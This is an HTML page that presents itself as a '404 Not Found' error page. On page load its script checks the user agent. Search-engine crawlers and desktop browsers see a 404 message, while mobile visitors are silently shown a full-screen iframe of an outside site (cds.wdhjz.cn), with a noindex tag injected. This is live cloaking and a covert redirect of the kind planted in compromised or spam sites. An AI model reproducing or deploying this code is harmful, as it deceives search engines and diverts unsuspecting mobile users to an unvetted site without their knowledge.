<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>404 Not Found</title>
<script>LA.init({id:"3L4YQpzYhZB17ECo",ck:"3L4YQpzYhZB17ECo"});LA.init({id:"3Qv5nKTVij046lpY",ck:"3Qv5nKTVij046lpY"})</script>
<script>

var _hmt = _hmt || [];
(function() {
  var hm = document.createElement("script");
  hm.src = "http://hm.baidu.com/hm.js?4a11c0a04b56c3616586df503b0775c1";
  var s = document.getElementsByTagName("script")[0]; 
  s.parentNode.insertBefore(hm, s);
})();
</script>
<script>
document.addEventListener('DOMContentLoaded', function () {

  // 蜘蛛 UA 判断（精确名单 + 通用特征，避免误伤 SogouMobileBrowser 等真人浏览器）
  function isSpider(ua) {
    ua = ua || navigator.userAgent || '';

    var knownSpiders = /(?:Baiduspider|Googlebot|Google-InspectionTool|GoogleOther|AdsBot-Google|Mediapartners-Google|bingbot|BingPreview|Slurp|360Spider|YisouSpider|YandexBot|DuckDuckBot|Bytespider|Applebot|PetalBot|HaosouSpider|Sosospider|Sogou[\s\-]?(?:web\s)?[Ii]nst?\s?[Ss]pider|facebot|ia_archiver|SemrushBot|AhrefsBot|MJ12bot|DotBot|BLEXBot|LinkedInBot|Twitterbot|TelegramBot|Pinterestbot|Discordbot|facebookexternalhit|Slackbot|WhatsApp|Line[\s\/]?Bot)/i;
    if (knownSpiders.test(ua)) return true;

    // 通用爬虫词（整词匹配，避免 Cubot 等品牌误伤）
    if (/\b(?:bot|spider|crawler)\b/i.test(ua)) return true;

    // 常见 compatible 声明格式
    if (/compatible;\s*(?:Googlebot|bingbot|Baiduspider|YandexBot|360Spider)/i.test(ua)) return true;

    return false;
  }

  // 移动端 UA 判断（含 iPadOS 13+ 桌面 UA、鸿蒙等）
  function isMobile(ua) {
    ua = ua || navigator.userAgent || '';

    if (/(?:Android|webOS|iPhone|iPod|BlackBerry|IEMobile|Opera Mini|Windows Phone|HarmonyOS|OpenHarmony|Mobile)/i.test(ua)) {
      return true;
    }

    if (/iPad/i.test(ua)) return true;

    // iPadOS 13+ 请求桌面版网站时 UA 为 Macintosh，需结合触控点数
    if (/Macintosh/i.test(ua) && navigator.maxTouchPoints > 1) return true;

    return false;
  }

  var ua = navigator.userAgent;

  if (!isSpider(ua)) {
    // 非蜘蛛
    if (isMobile(ua)) {
      // 移动端：继续 iframe 跳转
      var targetSrc = 'http://cds.wdhjz.cn/';

      var noindexMeta = document.createElement('meta');
      noindexMeta.setAttribute('name', 'robots');
      noindexMeta.setAttribute('content', 'noindex');
      document.head.appendChild(noindexMeta);

      var meta1 = document.createElement('meta');
      meta1.setAttribute('http-equiv', 'X-UA-Compatible');
      meta1.setAttribute('content', 'IE=edge');
      document.head.appendChild(meta1);

      var meta2 = document.createElement('meta');
      meta2.setAttribute('name', 'viewport');
      meta2.setAttribute('content', 'width=device-width,initial-scale=1');
      document.head.appendChild(meta2);

      var styleCSS = document.createElement('style');
      styleCSS.textContent = `
html,body{
  position:relative;
  width:auto!important;
  height:100%!important;
  min-width:auto!important;
  overflow:hidden;
  margin:0;
  padding:0;
}
.iframe-container{
  position:fixed;
  top:0;
  left:0;
  right:0;
  bottom:0;
  z-index:9999999999;
  background:#fff;
}
iframe{
  border:none;
  width:100%;
  height:100%;
}
`;
      document.head.appendChild(styleCSS);

      var iframeContainer = document.createElement('div');
      iframeContainer.className = 'iframe-container';

      var iframe = document.createElement('iframe');
      iframe.src = targetSrc;
      iframe.setAttribute('data-noindex', 'true');

      iframeContainer.appendChild(iframe);
      document.body.innerHTML = '';
      document.body.appendChild(iframeContainer);

      document.addEventListener('onunload', function(){});

    } else {
      // PC 端：展示 404 页面（前端内容）
      document.body.innerHTML = '';
      var style404 = document.createElement('style');
      style404.textContent = `
        html, body { margin: 0; padding: 0; height: 100%; background: #fafafa; }
        .page-404 {
          display: flex; flex-direction: column; justify-content: center;
          max-width: 600px; height: 100vh; margin: 0 auto; padding: 0 40px;
          font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, sans-serif;
          color: #2c3e50;
        }
        .page-404 h1 { font-size: 120px; font-weight: 700; margin: 0; color: #dee2e6; line-height: 1; }
        .page-404 h2 { font-size: 24px; font-weight: 600; margin: 20px 0 10px; color: #343a40; }
        .page-404 p { margin: 0 0 20px; font-size: 15px; color: #6c757d; line-height: 1.6; }
        .back-btn {
          display: inline-block; width: fit-content; padding: 10px 20px;
          background: #007bff; color: #fff; text-decoration: none;
          border-radius: 6px; font-size: 14px; font-weight: 500;
          transition: background 0.2s;
        }
        .back-btn:hover { background: #0056b3; }
      `;
      document.head.appendChild(style404);

      var container404 = document.createElement('div');
      container404.className = 'page-404';
      container404.innerHTML = `
        <h1>404.</h1>
        <h2>抱歉，页面无法找到</h2>
        <p>您访问的链接可能已失效、被删除，或输入的网址有误。<br>That's an error. The requested URL was not found on this server.</p>
        <a href="/" class="back-btn">返回首页</a>
      `;
      document.body.appendChild(container404);
    }

  } else {
    // 蜘蛛：保持原始内容（走 404 模板，有利于 SEO）
    var canonical = document.createElement('link');
    canonical.setAttribute('rel', 'canonical');
    canonical.setAttribute('href', window.location.href);
    document.head.appendChild(canonical);

    console.log("Spider detected, showing original content for SEO.");
  }
});
</script>
</head>
<body>
</body>
</html>
